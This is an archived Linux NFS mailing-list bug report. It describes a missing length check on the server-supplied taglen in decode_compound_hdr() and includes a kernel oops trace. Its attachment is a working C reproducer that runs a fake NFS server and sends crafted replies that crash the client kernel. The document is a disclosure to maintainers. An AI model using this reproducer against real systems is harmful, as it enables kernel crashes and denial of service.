From: rtm@csail.mit.edu
To: Trond Myklebust <trond.myklebust@hammerspace.com>,
Anna Schumaker <anna.schumaker@netapp.com>
Cc: linux-nfs@vger.kernel.org
Subject: NFS client RPC bug
Date: Thu, 04 Nov 2021 16:10:38 -0400 [thread overview]
Message-ID: <7517.1636056638@crash.local> (raw)
[-- Attachment #1: Type: text/plain, Size: 3145 bytes --]
decode_compound_hdr() in fs/nfs/nfs4xdr.c adds the taglen supplied by
the server to a pointer and then dereferences it, but does not first
check taglen for sanity:
p = xdr_inline_decode(xdr, 8);
...;
hdr->taglen = be32_to_cpup(p);
...;
p = xdr_inline_decode(xdr, hdr->taglen + 4);
...;
p += XDR_QUADLEN(hdr->taglen);
hdr->nops = be32_to_cpup(p);
The second xdr_inline_decode() limits the opportunities for an
attacker-controlled pointer dereference, but a taglen of 0xfffffffc
will cause a kernel page fault.
I've attached a program that tickles the bug on my kernel 5.15
machine:
# uname -a
Linux (none) 5.15.0-rc7-dirty #15 SMP Thu Nov 4 19:20:36 UTC 2021 riscv64 riscv64 riscv64 GNU/Linux
# cc nfs_1.c
# ./a.out
mount:mount.nfs: timeout set for Thu Jan 1 00:02:12 1970
mount.nfs: trying text-based options 'vers=4.2,addr=127.0.0.1,clientaddr=127.0.0.1'
accept returned 4
proc 0
proc 1
exception pc=0xffffffff8022dcd8 cause=d symbolic tval=0xffffffe102c5aad8
[ 16.101267] Unable to handle kernel paging request at virtual address ffffffe102c5aad8
[ 16.112762] Oops [#1]
[ 16.116973] Modules linked in:
[ 16.122429] CPU: 0 PID: 60 Comm: mount.nfs Not tainted 5.15.0-rc7-dirty #13
[ 16.131634] Hardware name: ucbbar,riscvemu-bare (DT)
[ 16.138694] epc : decode_compound_hdr+0x96/0x12e
[ 16.146706] ra : decode_compound_hdr+0x82/0x12e
[ 16.154151] epc : ffffffff8022dcd8 ra : ffffffff8022dcc4 sp : ffffffd00057b6e0
...
[ 16.272291] status: 0000000200000121 badaddr: ffffffe102c5aad8 cause: 000000000000000d
[ 16.282369] [<ffffffff8022dcd8>] decode_compound_hdr+0x96/0x12e
[ 16.290699] [<ffffffff80239c2a>] nfs4_xdr_dec_exchange_id+0x32/0x57e
[ 16.299265] [<ffffffff8071af5c>] rpcauth_unwrap_resp_decode+0x12/0x1a
[ 16.307926] [<ffffffff8071bc18>] rpcauth_unwrap_resp+0x12/0x1a
[ 16.316196] [<ffffffff80711fb4>] call_decode+0x112/0x176
[ 16.323488] [<ffffffff8071a498>] __rpc_execute+0x76/0x216
[ 16.330751] [<ffffffff8071aab6>] rpc_execute+0x58/0x7e
[ 16.337966] [<ffffffff80713340>] rpc_run_task+0x12c/0x16c
[ 16.345113] [<ffffffff80224eba>] nfs4_run_exchange_id+0x1d8/0x262
[ 16.353364] [<ffffffff80224f68>] _nfs4_proc_exchange_id+0x24/0x2ba
[ 16.361556] [<ffffffff8022cfc4>] nfs4_proc_exchange_id+0x30/0x50
[ 16.369829] [<ffffffff8023ea28>] nfs41_discover_server_trunking+0x1c/0xa8
[ 16.378421] [<ffffffff80240d4e>] nfs4_discover_server_trunking+0x7c/0x1e8
[ 16.386958] [<ffffffff802490fe>] nfs4_init_client+0x92/0xf6
[ 16.394014] [<ffffffff80205412>] nfs_get_client+0x36a/0x394
[ 16.401147] [<ffffffff8024882e>] nfs4_set_client+0xd6/0x13e
[ 16.410346] [<ffffffff8024981a>] nfs4_create_server+0xb8/0x208
[ 16.421493] [<ffffffff80241606>] nfs4_try_get_tree+0x16/0x4c
[ 16.432759] [<ffffffff80218bac>] nfs_get_tree+0x34a/0x3ac
[ 16.442283] [<ffffffff8012bce4>] vfs_get_tree+0x18/0x88
[ 16.451889] [<ffffffff8014a28e>] path_mount+0x4f4/0x77a
[ 16.461619] [<ffffffff8014a560>] do_mount+0x4c/0x7e
[ 16.470833] [<ffffffff8014a912>] sys_mount+0xca/0x14e
[ 16.480401] [<ffffffff80003046>] ret_from_syscall+0x0/0x2
[-- Attachment #2: nfs_1.c --]
[-- Type: application/octet-stream, Size: 2975 bytes --]
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
unsigned long long aaa[] = {
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x300000000000000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int iii = 0;
int readn(int fd, char *buf, int n) {
int orig = n;
while(n > 0){
int cc = read(fd, buf, n);
if(cc <= 0) { perror("read"); return -1; }
n -= cc;
buf += cc;
}
return orig;
}
int
main(){
struct rlimit r;
r.rlim_cur = r.rlim_max = 0;
setrlimit(RLIMIT_CORE, &r);
int s = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(2049);
if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){
perror("bind"); exit(1);
}
listen(s, 10);
sync(); sleep(1); sleep(1); sleep(1);
if(fork() == 0){
if(system("echo -n mount: ; mount -v -t nfs 127.0.0.1:/tmp /mnt") == 0){
system("echo -n ls: ; ls -l /mnt/. /mnt/z");
system("echo -n echo: ; echo hi > /mnt/x");
system("echo -n umount: ; umount /mnt");
}
exit(0);
}
if(fork() == 0){
#define NAA 64
unsigned long long aa[NAA];
for(int i = 0; i < NAA; i++) aa[i] = aaa[iii++];
int ii = 0;
socklen_t sinlen = sizeof(sin);
int s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
printf("accept returned %d\n", s1);
if(s1 < 0) { perror("accept"); exit(1); }
close(s);
while(1){
unsigned int ilen;
if(readn(s1, (char*)&ilen, 4) < 0) break;
ilen = ntohl(ilen);
ilen &= 0x7fffffff;
char ibuf[1024];
if(readn(s1, (char*)ibuf, ilen) < 0) break;
int xid = *(int*)(ibuf+0);
int proc = ntohl(*(int*)(ibuf+20));
printf("proc %d\n", proc);
char obuf[128];
int olen = sizeof(obuf);
int dummy = htonl(olen | 0x80000000);
write(s1, &dummy, 4);
memset(obuf, 0xff, sizeof(obuf));
for(int i = 0; i+8 <= sizeof(obuf) && ii < NAA; i += 8)
*(unsigned long long *)(obuf + i) ^= aa[ii++];
*(int*)(obuf+0) = xid;
*(int*)(obuf+4) = htonl(1); // REPLY
*(int*)(obuf+8) = htonl(0); // MSG_ACCEPTED
*(int*)(obuf+12) = htonl(0); // opaque_auth flavor = AUTH_NULL
*(int*)(obuf+16) = htonl(0); // opaque_auth length
*(int*)(obuf+20) = htonl(0); // SUCCESS
if(write(s1, obuf, olen)<=0) perror("write");
}
exit(1);
}
close(s);
sleep(7);
}
next reply other threads:[~2021-11-04 20:30 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2021-11-04 20:10 rtm [this message]
2021-11-04 20:29 ` NFS client RPC bug Trond Myklebust
2021-11-04 20:36 ` rtm
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=7517.1636056638@crash.local \
--to=rtm@csail.mit.edu \
--cc=anna.schumaker@netapp.com \
--cc=linux-nfs@vger.kernel.org \
--cc=trond.myklebust@hammerspace.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.